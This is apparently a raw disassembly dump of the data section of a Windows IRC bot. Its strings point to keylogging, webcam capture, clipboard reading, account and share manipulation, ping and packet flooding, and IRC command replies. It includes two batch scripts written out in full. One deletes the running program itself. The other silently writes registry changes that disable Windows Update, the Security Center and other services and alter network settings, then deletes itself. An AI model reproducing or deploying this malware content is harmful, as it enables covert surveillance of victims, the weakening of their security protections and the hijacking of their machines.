%d.',0 align 4 unk_422F24 db 2 ; DATA XREF: sub_40665C+C5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesFoundD_ db ' Files found: %d.',0 unk_422F58 db 2 ; DATA XREF: sub_40665C+5Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s.',0 align 4 aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_406774+107o align 4 aSS_3 db '%s\%s',0 ; DATA XREF: sub_406774+45o ; .nsp0:00409C84o align 4 aS_3 db '%s\*',0 ; DATA XREF: sub_406774+1Ao align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4068C6+C50o align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4068C6+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4068C6:loc_407501o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4068C6+BE6o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4068C6+BD9o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4068C6+BCCo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4068C6+BBFo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4068C6+BB2o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4068C6+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4068C6:loc_407463o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4068C6+B68o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4068C6+B60o align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4068C6:loc_407419o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4068C6+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4068C6+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4068C6+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4068C6+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4068C6:loc_4073A5o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4068C6+AAAo align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4068C6+AA2o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4068C6:loc_40735Bo align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4068C6+A60o align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4068C6+A58o align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4068C6:loc_407311o align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4068C6+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4068C6+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4068C6+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4068C6+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4068C6+99Ao align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4068C6+98Do align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4068C6+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4068C6+973o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4068C6+966o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4068C6+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4068C6+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4068C6:loc_407206o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4068C6+903o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4068C6+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4068C6+8EEo align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4068C6:loc_4071A7o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4068C6+8B4o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4068C6+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4068C6+835o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4068C6+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4068C6+81Bo align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4068C6+80Eo align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4068C6+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4068C6+7F4o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4068C6+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4068C6+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4068C6+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4068C6:loc_407087o aClosesocket db 'closesocket',0 ; DATA XREF: sub_4068C6+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_4068C6+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4068C6+66Eo align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4068C6+661o align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_4068C6+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_4068C6+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4068C6+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_4068C6+62Do ; .nsp0:00425FB4o align 4 aListen db 'listen',0 ; DATA XREF: sub_4068C6+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_4068C6+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_4068C6+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4068C6+5F9o align 4 aRecv db 'recv',0 ; DATA XREF: sub_4068C6+5ECo align 10h aSendto db 'sendto',0 ; DATA XREF: sub_4068C6+5DFo align 4 aSend db 'send',0 ; DATA XREF: sub_4068C6+5D2o ; .nsp0:0040C025o align 10h aNtohl db 'ntohl',0 ; DATA XREF: sub_4068C6+5C5o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_4068C6+5B8o align 10h aHtonl db 'htonl',0 ; DATA XREF: sub_4068C6+5ABo align 4 aHtons db 'htons',0 ; DATA XREF: sub_4068C6+59Eo align 10h aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4068C6+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4068C6+584o align 4 aConnect db 'connect',0 ; DATA XREF: sub_4068C6+577o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4068C6+56Ao aSocket db 'socket',0 ; DATA XREF: sub_4068C6+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4068C6+550o align 10h aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4068C6+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4068C6+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4068C6+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4068C6+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4068C6+50Fo align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4068C6+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4068C6+4F6o align 10h aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4068C6+483o align 10h aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4068C6+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_4068C6+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4068C6+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4068C6+44Fo align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4068C6+442o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4068C6+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4068C6+428o align 10h aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4068C6+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4068C6:loc_406CD5o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4068C6:loc_406CADo align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4068C6+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4068C6+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4068C6+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4068C6+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_4068C6+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4068C6+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4068C6+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4068C6:loc_406BFFo align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4068C6+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4068C6+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4068C6:loc_406BBAo align 10h aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4068C6+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4068C6+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4068C6+292o align 10h aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4068C6+285o align 10h aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4068C6+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4068C6+270o align 10h aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4068C6:loc_406B25o align 10h aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4068C6+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4068C6+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4068C6+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4068C6:loc_406ABEo align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4068C6+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4068C6+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4068C6+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4068C6+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4068C6+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_4068C6+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4068C6+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4068C6+14Ao align 10h aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4068C6:loc_4069FBo ; sub_41AFBE+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4068C6:loc_4069CEo align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4068C6+A0o align 10h aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4068C6+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4068C6+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4068C6+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4068C6+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4068C6+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_4068C6+52o align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4068C6+45o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_4068C6+38o align 10h aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4068C6+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4068C6+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4068C6+Ao align 4 dword_42387C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_407553+2F2o dd 2029206Ch, 2BBBB02h aDllTestComplet db ' DLL test complete.',0 align 10h aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_407553+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_407553+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_407553+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_407553+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_407553+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_407553+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_407553+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_407553+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_407553+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_407553+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_407553+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_407553+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_407553+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_407553+28o align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 align 10h aMirc db 'mIRC',0 ; DATA XREF: .nsp0:00407BA6o ; sub_411035+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_407C23+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_407CC7+2o aComspecCSS db '%%comspec%% /c %s %s',0 align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: .nsp0:00407D6Eo db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: .nsp0:00407D31o align 4 aCTempr_bat db 'c:\tempr.bat',0 ; DATA XREF: sub_407E71+29o align 4 a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_407E71+14o db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT' db '\Parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share' db 'dAccess]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus' db 'erv]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>' db '%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>' db '%temp%\1.reg',0Dh,0Ah db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi' db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma' db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip' db '\Parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh db 0Ah db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,' db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\' db '1.reg',0Dh,0Ah db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\' db '1.reg',0Dh,0Ah db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio' db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah db 'DEL %temp%\1.reg',0Dh,0Ah db 'DEL %0',0Dh,0Ah,0 align 4 unk_4251DC db 2 ; DATA XREF: sub_407F67:loc_408026o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 10h unk_425220 db 2 ; DATA XREF: sub_407F67:loc_407FF4o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 4 unk_425264 db 2 ; DATA XREF: sub_407F67:loc_407FC0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 4 unk_42529C db 2 ; DATA XREF: sub_407F67+49o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 10h unk_4252E0 db 2 ; DATA XREF: sub_4080EB+13Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 10h unk_425320 db 2 ; DATA XREF: sub_4080EB+6Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 4 dword_42535C dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: .nsp0:0040843Do dd 2029206Ch, 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 4 dword_42539C dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: .nsp0:00408305o dd 2029206Ch, 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_4084F5+33o dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh dd 2029206Ch, 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 4 dword_42542C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: .nsp0:0040868Bo dd 2029206Ch, 2BBBB02h aProccessHasTer db ' Proccess has 